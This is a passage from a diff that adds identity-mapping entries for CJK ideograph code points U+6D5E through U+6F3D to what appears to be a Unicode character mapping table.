+ ["\u6D5E", "\u6D5E"], /* CJK Ideograph */
+ ["\u6D5F", "\u6D5F"], /* CJK Ideograph */
+ ["\u6D60", "\u6D60"], /* CJK Ideograph */
+ ["\u6D61", "\u6D61"], /* CJK Ideograph */
+ ["\u6D62", "\u6D62"], /* CJK Ideograph */
+ ["\u6D63", "\u6D63"], /* CJK Ideograph */
+ ["\u6D64", "\u6D64"], /* CJK Ideograph */
+ ["\u6D65", "\u6D65"], /* CJK Ideograph */
+ ["\u6D66", "\u6D66"], /* CJK Ideograph */
+ ["\u6D67", "\u6D67"], /* CJK Ideograph */
+ ["\u6D68", "\u6D68"], /* CJK Ideograph */
+ ["\u6D69", "\u6D69"], /* CJK Ideograph */
+ ["\u6D6A", "\u6D6A"], /* CJK Ideograph */
+ ["\u6D6B", "\u6D6B"], /* CJK Ideograph */
+ ["\u6D6C", "\u6D6C"], /* CJK Ideograph */
+ ["\u6D6D", "\u6D6D"], /* CJK Ideograph */
+ ["\u6D6E", "\u6D6E"], /* CJK Ideograph */
+ ["\u6D6F", "\u6D6F"], /* CJK Ideograph */
+ ["\u6D70", "\u6D70"], /* CJK Ideograph */
+ ["\u6D71", "\u6D71"], /* CJK Ideograph */
+ ["\u6D72", "\u6D72"], /* CJK Ideograph */
+ ["\u6D73", "\u6D73"], /* CJK Ideograph */
+ ["\u6D74", "\u6D74"], /* CJK Ideograph */
+ ["\u6D75", "\u6D75"], /* CJK Ideograph */
+ ["\u6D76", "\u6D76"], /* CJK Ideograph */
+ ["\u6D77", "\u6D77"], /* CJK Ideograph */
+ ["\u6D78", "\u6D78"], /* CJK Ideograph */
+ ["\u6D79", "\u6D79"], /* CJK Ideograph */
+ ["\u6D7A", "\u6D7A"], /* CJK Ideograph */
+ ["\u6D7B", "\u6D7B"], /* CJK Ideograph */
+ ["\u6D7C", "\u6D7C"], /* CJK Ideograph */
+ ["\u6D7D", "\u6D7D"], /* CJK Ideograph */
+ ["\u6D7E", "\u6D7E"], /* CJK Ideograph */
+ ["\u6D7F", "\u6D7F"], /* CJK Ideograph */
+ ["\u6D80", "\u6D80"], /* CJK Ideograph */
+ ["\u6D81", "\u6D81"], /* CJK Ideograph */
+ ["\u6D82", "\u6D82"], /* CJK Ideograph */
+ ["\u6D83", "\u6D83"], /* CJK Ideograph */
+ ["\u6D84", "\u6D84"], /* CJK Ideograph */
+ ["\u6D85", "\u6D85"], /* CJK Ideograph */
+ ["\u6D86", "\u6D86"], /* CJK Ideograph */
+ ["\u6D87", "\u6D87"], /* CJK Ideograph */
+ ["\u6D88", "\u6D88"], /* CJK Ideograph */
+ ["\u6D89", "\u6D89"], /* CJK Ideograph */
+ ["\u6D8A", "\u6D8A"], /* CJK Ideograph */
+ ["\u6D8B", "\u6D8B"], /* CJK Ideograph */
+ ["\u6D8C", "\u6D8C"], /* CJK Ideograph */
+ ["\u6D8D", "\u6D8D"], /* CJK Ideograph */
+ ["\u6D8E", "\u6D8E"], /* CJK Ideograph */
+ ["\u6D8F", "\u6D8F"], /* CJK Ideograph */
+ ["\u6D90", "\u6D90"], /* CJK Ideograph */
+ ["\u6D91", "\u6D91"], /* CJK Ideograph */
+ ["\u6D92", "\u6D92"], /* CJK Ideograph */
+ ["\u6D93", "\u6D93"], /* CJK Ideograph */
+ ["\u6D94", "\u6D94"], /* CJK Ideograph */
+ ["\u6D95", "\u6D95"], /* CJK Ideograph */
+ ["\u6D96", "\u6D96"], /* CJK Ideograph */
+ ["\u6D97", "\u6D97"], /* CJK Ideograph */
+ ["\u6D98", "\u6D98"], /* CJK Ideograph */
+ ["\u6D99", "\u6D99"], /* CJK Ideograph */
+ ["\u6D9A", "\u6D9A"], /* CJK Ideograph */
+ ["\u6D9B", "\u6D9B"], /* CJK Ideograph */
+ ["\u6D9C", "\u6D9C"], /* CJK Ideograph */
+ ["\u6D9D", "\u6D9D"], /* CJK Ideograph */
+ ["\u6D9E", "\u6D9E"], /* CJK Ideograph */
+ ["\u6D9F", "\u6D9F"], /* CJK Ideograph */
+ ["\u6DA0", "\u6DA0"], /* CJK Ideograph */
+ ["\u6DA1", "\u6DA1"], /* CJK Ideograph */
+ ["\u6DA2", "\u6DA2"], /* CJK Ideograph */
+ ["\u6DA3", "\u6DA3"], /* CJK Ideograph */
+ ["\u6DA4", "\u6DA4"], /* CJK Ideograph */
+ ["\u6DA5", "\u6DA5"], /* CJK Ideograph */
+ ["\u6DA6", "\u6DA6"], /* CJK Ideograph */
+ ["\u6DA7", "\u6DA7"], /* CJK Ideograph */
+ ["\u6DA8", "\u6DA8"], /* CJK Ideograph */
+ ["\u6DA9", "\u6DA9"], /* CJK Ideograph */
+ ["\u6DAA", "\u6DAA"], /* CJK Ideograph */
+ ["\u6DAB", "\u6DAB"], /* CJK Ideograph */
+ ["\u6DAC", "\u6DAC"], /* CJK Ideograph */
+ ["\u6DAD", "\u6DAD"], /* CJK Ideograph */
+ ["\u6DAE", "\u6DAE"], /* CJK Ideograph */
+ ["\u6DAF", "\u6DAF"], /* CJK Ideograph */
+ ["\u6DB0", "\u6DB0"], /* CJK Ideograph */
+ ["\u6DB1", "\u6DB1"], /* CJK Ideograph */
+ ["\u6DB2", "\u6DB2"], /* CJK Ideograph */
+ ["\u6DB3", "\u6DB3"], /* CJK Ideograph */
+ ["\u6DB4", "\u6DB4"], /* CJK Ideograph */
+ ["\u6DB5", "\u6DB5"], /* CJK Ideograph */
+ ["\u6DB6", "\u6DB6"], /* CJK Ideograph */
+ ["\u6DB7", "\u6DB7"], /* CJK Ideograph */
+ ["\u6DB8", "\u6DB8"], /* CJK Ideograph */
+ ["\u6DB9", "\u6DB9"], /* CJK Ideograph */
+ ["\u6DBA", "\u6DBA"], /* CJK Ideograph */
+ ["\u6DBB", "\u6DBB"], /* CJK Ideograph */
+ ["\u6DBC", "\u6DBC"], /* CJK Ideograph */
+ ["\u6DBD", "\u6DBD"], /* CJK Ideograph */
+ ["\u6DBE", "\u6DBE"], /* CJK Ideograph */
+ ["\u6DBF", "\u6DBF"], /* CJK Ideograph */
+ ["\u6DC0", "\u6DC0"], /* CJK Ideograph */
+ ["\u6DC1", "\u6DC1"], /* CJK Ideograph */
+ ["\u6DC2", "\u6DC2"], /* CJK Ideograph */
+ ["\u6DC3", "\u6DC3"], /* CJK Ideograph */
+ ["\u6DC4", "\u6DC4"], /* CJK Ideograph */
+ ["\u6DC5", "\u6DC5"], /* CJK Ideograph */
+ ["\u6DC6", "\u6DC6"], /* CJK Ideograph */
+ ["\u6DC7", "\u6DC7"], /* CJK Ideograph */
+ ["\u6DC8", "\u6DC8"], /* CJK Ideograph */
+ ["\u6DC9", "\u6DC9"], /* CJK Ideograph */
+ ["\u6DCA", "\u6DCA"], /* CJK Ideograph */
+ ["\u6DCB", "\u6DCB"], /* CJK Ideograph */
+ ["\u6DCC", "\u6DCC"], /* CJK Ideograph */
+ ["\u6DCD", "\u6DCD"], /* CJK Ideograph */
+ ["\u6DCE", "\u6DCE"], /* CJK Ideograph */
+ ["\u6DCF", "\u6DCF"], /* CJK Ideograph */
+ ["\u6DD0", "\u6DD0"], /* CJK Ideograph */
+ ["\u6DD1", "\u6DD1"], /* CJK Ideograph */
+ ["\u6DD2", "\u6DD2"], /* CJK Ideograph */
+ ["\u6DD3", "\u6DD3"], /* CJK Ideograph */
+ ["\u6DD4", "\u6DD4"], /* CJK Ideograph */
+ ["\u6DD5", "\u6DD5"], /* CJK Ideograph */
+ ["\u6DD6", "\u6DD6"], /* CJK Ideograph */
+ ["\u6DD7", "\u6DD7"], /* CJK Ideograph */
+ ["\u6DD8", "\u6DD8"], /* CJK Ideograph */
+ ["\u6DD9", "\u6DD9"], /* CJK Ideograph */
+ ["\u6DDA", "\u6DDA"], /* CJK Ideograph */
+ ["\u6DDB", "\u6DDB"], /* CJK Ideograph */
+ ["\u6DDC", "\u6DDC"], /* CJK Ideograph */
+ ["\u6DDD", "\u6DDD"], /* CJK Ideograph */
+ ["\u6DDE", "\u6DDE"], /* CJK Ideograph */
+ ["\u6DDF", "\u6DDF"], /* CJK Ideograph */
+ ["\u6DE0", "\u6DE0"], /* CJK Ideograph */
+ ["\u6DE1", "\u6DE1"], /* CJK Ideograph */
+ ["\u6DE2", "\u6DE2"], /* CJK Ideograph */
+ ["\u6DE3", "\u6DE3"], /* CJK Ideograph */
+ ["\u6DE4", "\u6DE4"], /* CJK Ideograph */
+ ["\u6DE5", "\u6DE5"], /* CJK Ideograph */
+ ["\u6DE6", "\u6DE6"], /* CJK Ideograph */
+ ["\u6DE7", "\u6DE7"], /* CJK Ideograph */
+ ["\u6DE8", "\u6DE8"], /* CJK Ideograph */
+ ["\u6DE9", "\u6DE9"], /* CJK Ideograph */
+ ["\u6DEA", "\u6DEA"], /* CJK Ideograph */
+ ["\u6DEB", "\u6DEB"], /* CJK Ideograph */
+ ["\u6DEC", "\u6DEC"], /* CJK Ideograph */
+ ["\u6DED", "\u6DED"], /* CJK Ideograph */
+ ["\u6DEE", "\u6DEE"], /* CJK Ideograph */
+ ["\u6DEF", "\u6DEF"], /* CJK Ideograph */
+ ["\u6DF0", "\u6DF0"], /* CJK Ideograph */
+ ["\u6DF1", "\u6DF1"], /* CJK Ideograph */
+ ["\u6DF2", "\u6DF2"], /* CJK Ideograph */
+ ["\u6DF3", "\u6DF3"], /* CJK Ideograph */
+ ["\u6DF4", "\u6DF4"], /* CJK Ideograph */
+ ["\u6DF5", "\u6DF5"], /* CJK Ideograph */
+ ["\u6DF6", "\u6DF6"], /* CJK Ideograph */
+ ["\u6DF7", "\u6DF7"], /* CJK Ideograph */
+ ["\u6DF8", "\u6DF8"], /* CJK Ideograph */
+ ["\u6DF9", "\u6DF9"], /* CJK Ideograph */
+ ["\u6DFA", "\u6DFA"], /* CJK Ideograph */
+ ["\u6DFB", "\u6DFB"], /* CJK Ideograph */
+ ["\u6DFC", "\u6DFC"], /* CJK Ideograph */
+ ["\u6DFD", "\u6DFD"], /* CJK Ideograph */
+ ["\u6DFE", "\u6DFE"], /* CJK Ideograph */
+ ["\u6DFF", "\u6DFF"], /* CJK Ideograph */
+ ["\u6E00", "\u6E00"], /* CJK Ideograph */
+ ["\u6E01", "\u6E01"], /* CJK Ideograph */
+ ["\u6E02", "\u6E02"], /* CJK Ideograph */
+ ["\u6E03", "\u6E03"], /* CJK Ideograph */
+ ["\u6E04", "\u6E04"], /* CJK Ideograph */
+ ["\u6E05", "\u6E05"], /* CJK Ideograph */
+ ["\u6E06", "\u6E06"], /* CJK Ideograph */
+ ["\u6E07", "\u6E07"], /* CJK Ideograph */
+ ["\u6E08", "\u6E08"], /* CJK Ideograph */
+ ["\u6E09", "\u6E09"], /* CJK Ideograph */
+ ["\u6E0A", "\u6E0A"], /* CJK Ideograph */
+ ["\u6E0B", "\u6E0B"], /* CJK Ideograph */
+ ["\u6E0C", "\u6E0C"], /* CJK Ideograph */
+ ["\u6E0D", "\u6E0D"], /* CJK Ideograph */
+ ["\u6E0E", "\u6E0E"], /* CJK Ideograph */
+ ["\u6E0F", "\u6E0F"], /* CJK Ideograph */
+ ["\u6E10", "\u6E10"], /* CJK Ideograph */
+ ["\u6E11", "\u6E11"], /* CJK Ideograph */
+ ["\u6E12", "\u6E12"], /* CJK Ideograph */
+ ["\u6E13", "\u6E13"], /* CJK Ideograph */
+ ["\u6E14", "\u6E14"], /* CJK Ideograph */
+ ["\u6E15", "\u6E15"], /* CJK Ideograph */
+ ["\u6E16", "\u6E16"], /* CJK Ideograph */
+ ["\u6E17", "\u6E17"], /* CJK Ideograph */
+ ["\u6E18", "\u6E18"], /* CJK Ideograph */
+ ["\u6E19", "\u6E19"], /* CJK Ideograph */
+ ["\u6E1A", "\u6E1A"], /* CJK Ideograph */
+ ["\u6E1B", "\u6E1B"], /* CJK Ideograph */
+ ["\u6E1C", "\u6E1C"], /* CJK Ideograph */
+ ["\u6E1D", "\u6E1D"], /* CJK Ideograph */
+ ["\u6E1E", "\u6E1E"], /* CJK Ideograph */
+ ["\u6E1F", "\u6E1F"], /* CJK Ideograph */
+ ["\u6E20", "\u6E20"], /* CJK Ideograph */
+ ["\u6E21", "\u6E21"], /* CJK Ideograph */
+ ["\u6E22", "\u6E22"], /* CJK Ideograph */
+ ["\u6E23", "\u6E23"], /* CJK Ideograph */
+ ["\u6E24", "\u6E24"], /* CJK Ideograph */
+ ["\u6E25", "\u6E25"], /* CJK Ideograph */
+ ["\u6E26", "\u6E26"], /* CJK Ideograph */
+ ["\u6E27", "\u6E27"], /* CJK Ideograph */
+ ["\u6E28", "\u6E28"], /* CJK Ideograph */
+ ["\u6E29", "\u6E29"], /* CJK Ideograph */
+ ["\u6E2A", "\u6E2A"], /* CJK Ideograph */
+ ["\u6E2B", "\u6E2B"], /* CJK Ideograph */
+ ["\u6E2C", "\u6E2C"], /* CJK Ideograph */
+ ["\u6E2D", "\u6E2D"], /* CJK Ideograph */
+ ["\u6E2E", "\u6E2E"], /* CJK Ideograph */
+ ["\u6E2F", "\u6E2F"], /* CJK Ideograph */
+ ["\u6E30", "\u6E30"], /* CJK Ideograph */
+ ["\u6E31", "\u6E31"], /* CJK Ideograph */
+ ["\u6E32", "\u6E32"], /* CJK Ideograph */
+ ["\u6E33", "\u6E33"], /* CJK Ideograph */
+ ["\u6E34", "\u6E34"], /* CJK Ideograph */
+ ["\u6E35", "\u6E35"], /* CJK Ideograph */
+ ["\u6E36", "\u6E36"], /* CJK Ideograph */
+ ["\u6E37", "\u6E37"], /* CJK Ideograph */
+ ["\u6E38", "\u6E38"], /* CJK Ideograph */
+ ["\u6E39", "\u6E39"], /* CJK Ideograph */
+ ["\u6E3A", "\u6E3A"], /* CJK Ideograph */
+ ["\u6E3B", "\u6E3B"], /* CJK Ideograph */
+ ["\u6E3C", "\u6E3C"], /* CJK Ideograph */
+ ["\u6E3D", "\u6E3D"], /* CJK Ideograph */
+ ["\u6E3E", "\u6E3E"], /* CJK Ideograph */
+ ["\u6E3F", "\u6E3F"], /* CJK Ideograph */
+ ["\u6E40", "\u6E40"], /* CJK Ideograph */
+ ["\u6E41", "\u6E41"], /* CJK Ideograph */
+ ["\u6E42", "\u6E42"], /* CJK Ideograph */
+ ["\u6E43", "\u6E43"], /* CJK Ideograph */
+ ["\u6E44", "\u6E44"], /* CJK Ideograph */
+ ["\u6E45", "\u6E45"], /* CJK Ideograph */
+ ["\u6E46", "\u6E46"], /* CJK Ideograph */
+ ["\u6E47", "\u6E47"], /* CJK Ideograph */
+ ["\u6E48", "\u6E48"], /* CJK Ideograph */
+ ["\u6E49", "\u6E49"], /* CJK Ideograph */
+ ["\u6E4A", "\u6E4A"], /* CJK Ideograph */
+ ["\u6E4B", "\u6E4B"], /* CJK Ideograph */
+ ["\u6E4C", "\u6E4C"], /* CJK Ideograph */
+ ["\u6E4D", "\u6E4D"], /* CJK Ideograph */
+ ["\u6E4E", "\u6E4E"], /* CJK Ideograph */
+ ["\u6E4F", "\u6E4F"], /* CJK Ideograph */
+ ["\u6E50", "\u6E50"], /* CJK Ideograph */
+ ["\u6E51", "\u6E51"], /* CJK Ideograph */
+ ["\u6E52", "\u6E52"], /* CJK Ideograph */
+ ["\u6E53", "\u6E53"], /* CJK Ideograph */
+ ["\u6E54", "\u6E54"], /* CJK Ideograph */
+ ["\u6E55", "\u6E55"], /* CJK Ideograph */
+ ["\u6E56", "\u6E56"], /* CJK Ideograph */
+ ["\u6E57", "\u6E57"], /* CJK Ideograph */
+ ["\u6E58", "\u6E58"], /* CJK Ideograph */
+ ["\u6E59", "\u6E59"], /* CJK Ideograph */
+ ["\u6E5A", "\u6E5A"], /* CJK Ideograph */
+ ["\u6E5B", "\u6E5B"], /* CJK Ideograph */
+ ["\u6E5C", "\u6E5C"], /* CJK Ideograph */
+ ["\u6E5D", "\u6E5D"], /* CJK Ideograph */
+ ["\u6E5E", "\u6E5E"], /* CJK Ideograph */
+ ["\u6E5F", "\u6E5F"], /* CJK Ideograph */
+ ["\u6E60", "\u6E60"], /* CJK Ideograph */
+ ["\u6E61", "\u6E61"], /* CJK Ideograph */
+ ["\u6E62", "\u6E62"], /* CJK Ideograph */
+ ["\u6E63", "\u6E63"], /* CJK Ideograph */
+ ["\u6E64", "\u6E64"], /* CJK Ideograph */
+ ["\u6E65", "\u6E65"], /* CJK Ideograph */
+ ["\u6E66", "\u6E66"], /* CJK Ideograph */
+ ["\u6E67", "\u6E67"], /* CJK Ideograph */
+ ["\u6E68", "\u6E68"], /* CJK Ideograph */
+ ["\u6E69", "\u6E69"], /* CJK Ideograph */
+ ["\u6E6A", "\u6E6A"], /* CJK Ideograph */
+ ["\u6E6B", "\u6E6B"], /* CJK Ideograph */
+ ["\u6E6C", "\u6E6C"], /* CJK Ideograph */
+ ["\u6E6D", "\u6E6D"], /* CJK Ideograph */
+ ["\u6E6E", "\u6E6E"], /* CJK Ideograph */
+ ["\u6E6F", "\u6E6F"], /* CJK Ideograph */
+ ["\u6E70", "\u6E70"], /* CJK Ideograph */
+ ["\u6E71", "\u6E71"], /* CJK Ideograph */
+ ["\u6E72", "\u6E72"], /* CJK Ideograph */
+ ["\u6E73", "\u6E73"], /* CJK Ideograph */
+ ["\u6E74", "\u6E74"], /* CJK Ideograph */
+ ["\u6E75", "\u6E75"], /* CJK Ideograph */
+ ["\u6E76", "\u6E76"], /* CJK Ideograph */
+ ["\u6E77", "\u6E77"], /* CJK Ideograph */
+ ["\u6E78", "\u6E78"], /* CJK Ideograph */
+ ["\u6E79", "\u6E79"], /* CJK Ideograph */
+ ["\u6E7A", "\u6E7A"], /* CJK Ideograph */
+ ["\u6E7B", "\u6E7B"], /* CJK Ideograph */
+ ["\u6E7C", "\u6E7C"], /* CJK Ideograph */
+ ["\u6E7D", "\u6E7D"], /* CJK Ideograph */
+ ["\u6E7E", "\u6E7E"], /* CJK Ideograph */
+ ["\u6E7F", "\u6E7F"], /* CJK Ideograph */
+ ["\u6E80", "\u6E80"], /* CJK Ideograph */
+ ["\u6E81", "\u6E81"], /* CJK Ideograph */
+ ["\u6E82", "\u6E82"], /* CJK Ideograph */
+ ["\u6E83", "\u6E83"], /* CJK Ideograph */
+ ["\u6E84", "\u6E84"], /* CJK Ideograph */
+ ["\u6E85", "\u6E85"], /* CJK Ideograph */
+ ["\u6E86", "\u6E86"], /* CJK Ideograph */
+ ["\u6E87", "\u6E87"], /* CJK Ideograph */
+ ["\u6E88", "\u6E88"], /* CJK Ideograph */
+ ["\u6E89", "\u6E89"], /* CJK Ideograph */
+ ["\u6E8A", "\u6E8A"], /* CJK Ideograph */
+ ["\u6E8B", "\u6E8B"], /* CJK Ideograph */
+ ["\u6E8C", "\u6E8C"], /* CJK Ideograph */
+ ["\u6E8D", "\u6E8D"], /* CJK Ideograph */
+ ["\u6E8E", "\u6E8E"], /* CJK Ideograph */
+ ["\u6E8F", "\u6E8F"], /* CJK Ideograph */
+ ["\u6E90", "\u6E90"], /* CJK Ideograph */
+ ["\u6E91", "\u6E91"], /* CJK Ideograph */
+ ["\u6E92", "\u6E92"], /* CJK Ideograph */
+ ["\u6E93", "\u6E93"], /* CJK Ideograph */
+ ["\u6E94", "\u6E94"], /* CJK Ideograph */
+ ["\u6E95", "\u6E95"], /* CJK Ideograph */
+ ["\u6E96", "\u6E96"], /* CJK Ideograph */
+ ["\u6E97", "\u6E97"], /* CJK Ideograph */
+ ["\u6E98", "\u6E98"], /* CJK Ideograph */
+ ["\u6E99", "\u6E99"], /* CJK Ideograph */
+ ["\u6E9A", "\u6E9A"], /* CJK Ideograph */
+ ["\u6E9B", "\u6E9B"], /* CJK Ideograph */
+ ["\u6E9C", "\u6E9C"], /* CJK Ideograph */
+ ["\u6E9D", "\u6E9D"], /* CJK Ideograph */
+ ["\u6E9E", "\u6E9E"], /* CJK Ideograph */
+ ["\u6E9F", "\u6E9F"], /* CJK Ideograph */
+ ["\u6EA0", "\u6EA0"], /* CJK Ideograph */
+ ["\u6EA1", "\u6EA1"], /* CJK Ideograph */
+ ["\u6EA2", "\u6EA2"], /* CJK Ideograph */
+ ["\u6EA3", "\u6EA3"], /* CJK Ideograph */
+ ["\u6EA4", "\u6EA4"], /* CJK Ideograph */
+ ["\u6EA5", "\u6EA5"], /* CJK Ideograph */
+ ["\u6EA6", "\u6EA6"], /* CJK Ideograph */
+ ["\u6EA7", "\u6EA7"], /* CJK Ideograph */
+ ["\u6EA8", "\u6EA8"], /* CJK Ideograph */
+ ["\u6EA9", "\u6EA9"], /* CJK Ideograph */
+ ["\u6EAA", "\u6EAA"], /* CJK Ideograph */
+ ["\u6EAB", "\u6EAB"], /* CJK Ideograph */
+ ["\u6EAC", "\u6EAC"], /* CJK Ideograph */
+ ["\u6EAD", "\u6EAD"], /* CJK Ideograph */
+ ["\u6EAE", "\u6EAE"], /* CJK Ideograph */
+ ["\u6EAF", "\u6EAF"], /* CJK Ideograph */
+ ["\u6EB0", "\u6EB0"], /* CJK Ideograph */
+ ["\u6EB1", "\u6EB1"], /* CJK Ideograph */
+ ["\u6EB2", "\u6EB2"], /* CJK Ideograph */
+ ["\u6EB3", "\u6EB3"], /* CJK Ideograph */
+ ["\u6EB4", "\u6EB4"], /* CJK Ideograph */
+ ["\u6EB5", "\u6EB5"], /* CJK Ideograph */
+ ["\u6EB6", "\u6EB6"], /* CJK Ideograph */
+ ["\u6EB7", "\u6EB7"], /* CJK Ideograph */
+ ["\u6EB8", "\u6EB8"], /* CJK Ideograph */
+ ["\u6EB9", "\u6EB9"], /* CJK Ideograph */
+ ["\u6EBA", "\u6EBA"], /* CJK Ideograph */
+ ["\u6EBB", "\u6EBB"], /* CJK Ideograph */
+ ["\u6EBC", "\u6EBC"], /* CJK Ideograph */
+ ["\u6EBD", "\u6EBD"], /* CJK Ideograph */
+ ["\u6EBE", "\u6EBE"], /* CJK Ideograph */
+ ["\u6EBF", "\u6EBF"], /* CJK Ideograph */
+ ["\u6EC0", "\u6EC0"], /* CJK Ideograph */
+ ["\u6EC1", "\u6EC1"], /* CJK Ideograph */
+ ["\u6EC2", "\u6EC2"], /* CJK Ideograph */
+ ["\u6EC3", "\u6EC3"], /* CJK Ideograph */
+ ["\u6EC4", "\u6EC4"], /* CJK Ideograph */
+ ["\u6EC5", "\u6EC5"], /* CJK Ideograph */
+ ["\u6EC6", "\u6EC6"], /* CJK Ideograph */
+ ["\u6EC7", "\u6EC7"], /* CJK Ideograph */
+ ["\u6EC8", "\u6EC8"], /* CJK Ideograph */
+ ["\u6EC9", "\u6EC9"], /* CJK Ideograph */
+ ["\u6ECA", "\u6ECA"], /* CJK Ideograph */
+ ["\u6ECB", "\u6ECB"], /* CJK Ideograph */
+ ["\u6ECC", "\u6ECC"], /* CJK Ideograph */
+ ["\u6ECD", "\u6ECD"], /* CJK Ideograph */
+ ["\u6ECE", "\u6ECE"], /* CJK Ideograph */
+ ["\u6ECF", "\u6ECF"], /* CJK Ideograph */
+ ["\u6ED0", "\u6ED0"], /* CJK Ideograph */
+ ["\u6ED1", "\u6ED1"], /* CJK Ideograph */
+ ["\u6ED2", "\u6ED2"], /* CJK Ideograph */
+ ["\u6ED3", "\u6ED3"], /* CJK Ideograph */
+ ["\u6ED4", "\u6ED4"], /* CJK Ideograph */
+ ["\u6ED5", "\u6ED5"], /* CJK Ideograph */
+ ["\u6ED6", "\u6ED6"], /* CJK Ideograph */
+ ["\u6ED7", "\u6ED7"], /* CJK Ideograph */
+ ["\u6ED8", "\u6ED8"], /* CJK Ideograph */
+ ["\u6ED9", "\u6ED9"], /* CJK Ideograph */
+ ["\u6EDA", "\u6EDA"], /* CJK Ideograph */
+ ["\u6EDB", "\u6EDB"], /* CJK Ideograph */
+ ["\u6EDC", "\u6EDC"], /* CJK Ideograph */
+ ["\u6EDD", "\u6EDD"], /* CJK Ideograph */
+ ["\u6EDE", "\u6EDE"], /* CJK Ideograph */
+ ["\u6EDF", "\u6EDF"], /* CJK Ideograph */
+ ["\u6EE0", "\u6EE0"], /* CJK Ideograph */
+ ["\u6EE1", "\u6EE1"], /* CJK Ideograph */
+ ["\u6EE2", "\u6EE2"], /* CJK Ideograph */
+ ["\u6EE3", "\u6EE3"], /* CJK Ideograph */
+ ["\u6EE4", "\u6EE4"], /* CJK Ideograph */
+ ["\u6EE5", "\u6EE5"], /* CJK Ideograph */
+ ["\u6EE6", "\u6EE6"], /* CJK Ideograph */
+ ["\u6EE7", "\u6EE7"], /* CJK Ideograph */
+ ["\u6EE8", "\u6EE8"], /* CJK Ideograph */
+ ["\u6EE9", "\u6EE9"], /* CJK Ideograph */
+ ["\u6EEA", "\u6EEA"], /* CJK Ideograph */
+ ["\u6EEB", "\u6EEB"], /* CJK Ideograph */
+ ["\u6EEC", "\u6EEC"], /* CJK Ideograph */
+ ["\u6EED", "\u6EED"], /* CJK Ideograph */
+ ["\u6EEE", "\u6EEE"], /* CJK Ideograph */
+ ["\u6EEF", "\u6EEF"], /* CJK Ideograph */
+ ["\u6EF0", "\u6EF0"], /* CJK Ideograph */
+ ["\u6EF1", "\u6EF1"], /* CJK Ideograph */
+ ["\u6EF2", "\u6EF2"], /* CJK Ideograph */
+ ["\u6EF3", "\u6EF3"], /* CJK Ideograph */
+ ["\u6EF4", "\u6EF4"], /* CJK Ideograph */
+ ["\u6EF5", "\u6EF5"], /* CJK Ideograph */
+ ["\u6EF6", "\u6EF6"], /* CJK Ideograph */
+ ["\u6EF7", "\u6EF7"], /* CJK Ideograph */
+ ["\u6EF8", "\u6EF8"], /* CJK Ideograph */
+ ["\u6EF9", "\u6EF9"], /* CJK Ideograph */
+ ["\u6EFA", "\u6EFA"], /* CJK Ideograph */
+ ["\u6EFB", "\u6EFB"], /* CJK Ideograph */
+ ["\u6EFC", "\u6EFC"], /* CJK Ideograph */
+ ["\u6EFD", "\u6EFD"], /* CJK Ideograph */
+ ["\u6EFE", "\u6EFE"], /* CJK Ideograph */
+ ["\u6EFF", "\u6EFF"], /* CJK Ideograph */
+ ["\u6F00", "\u6F00"], /* CJK Ideograph */
+ ["\u6F01", "\u6F01"], /* CJK Ideograph */
+ ["\u6F02", "\u6F02"], /* CJK Ideograph */
+ ["\u6F03", "\u6F03"], /* CJK Ideograph */
+ ["\u6F04", "\u6F04"], /* CJK Ideograph */
+ ["\u6F05", "\u6F05"], /* CJK Ideograph */
+ ["\u6F06", "\u6F06"], /* CJK Ideograph */
+ ["\u6F07", "\u6F07"], /* CJK Ideograph */
+ ["\u6F08", "\u6F08"], /* CJK Ideograph */
+ ["\u6F09", "\u6F09"], /* CJK Ideograph */
+ ["\u6F0A", "\u6F0A"], /* CJK Ideograph */
+ ["\u6F0B", "\u6F0B"], /* CJK Ideograph */
+ ["\u6F0C", "\u6F0C"], /* CJK Ideograph */
+ ["\u6F0D", "\u6F0D"], /* CJK Ideograph */
+ ["\u6F0E", "\u6F0E"], /* CJK Ideograph */
+ ["\u6F0F", "\u6F0F"], /* CJK Ideograph */
+ ["\u6F10", "\u6F10"], /* CJK Ideograph */
+ ["\u6F11", "\u6F11"], /* CJK Ideograph */
+ ["\u6F12", "\u6F12"], /* CJK Ideograph */
+ ["\u6F13", "\u6F13"], /* CJK Ideograph */
+ ["\u6F14", "\u6F14"], /* CJK Ideograph */
+ ["\u6F15", "\u6F15"], /* CJK Ideograph */
+ ["\u6F16", "\u6F16"], /* CJK Ideograph */
+ ["\u6F17", "\u6F17"], /* CJK Ideograph */
+ ["\u6F18", "\u6F18"], /* CJK Ideograph */
+ ["\u6F19", "\u6F19"], /* CJK Ideograph */
+ ["\u6F1A", "\u6F1A"], /* CJK Ideograph */
+ ["\u6F1B", "\u6F1B"], /* CJK Ideograph */
+ ["\u6F1C", "\u6F1C"], /* CJK Ideograph */
+ ["\u6F1D", "\u6F1D"], /* CJK Ideograph */
+ ["\u6F1E", "\u6F1E"], /* CJK Ideograph */
+ ["\u6F1F", "\u6F1F"], /* CJK Ideograph */
+ ["\u6F20", "\u6F20"], /* CJK Ideograph */
+ ["\u6F21", "\u6F21"], /* CJK Ideograph */
+ ["\u6F22", "\u6F22"], /* CJK Ideograph */
+ ["\u6F23", "\u6F23"], /* CJK Ideograph */
+ ["\u6F24", "\u6F24"], /* CJK Ideograph */
+ ["\u6F25", "\u6F25"], /* CJK Ideograph */
+ ["\u6F26", "\u6F26"], /* CJK Ideograph */
+ ["\u6F27", "\u6F27"], /* CJK Ideograph */
+ ["\u6F28", "\u6F28"], /* CJK Ideograph */
+ ["\u6F29", "\u6F29"], /* CJK Ideograph */
+ ["\u6F2A", "\u6F2A"], /* CJK Ideograph */
+ ["\u6F2B", "\u6F2B"], /* CJK Ideograph */
+ ["\u6F2C", "\u6F2C"], /* CJK Ideograph */
+ ["\u6F2D", "\u6F2D"], /* CJK Ideograph */
+ ["\u6F2E", "\u6F2E"], /* CJK Ideograph */
+ ["\u6F2F", "\u6F2F"], /* CJK Ideograph */
+ ["\u6F30", "\u6F30"], /* CJK Ideograph */
+ ["\u6F31", "\u6F31"], /* CJK Ideograph */
+ ["\u6F32", "\u6F32"], /* CJK Ideograph */
+ ["\u6F33", "\u6F33"], /* CJK Ideograph */
+ ["\u6F34", "\u6F34"], /* CJK Ideograph */
+ ["\u6F35", "\u6F35"], /* CJK Ideograph */
+ ["\u6F36", "\u6F36"], /* CJK Ideograph */
+ ["\u6F37", "\u6F37"], /* CJK Ideograph */
+ ["\u6F38", "\u6F38"], /* CJK Ideograph */
+ ["\u6F39", "\u6F39"], /* CJK Ideograph */
+ ["\u6F3A", "\u6F3A"], /* CJK Ideograph */
+ ["\u6F3B", "\u6F3B"], /* CJK Ideograph */
+ ["\u6F3C", "\u6F3C"], /* CJK Ideograph */
+ ["\u6F3D", "\u6F3D"], /* CJK Ideograph */
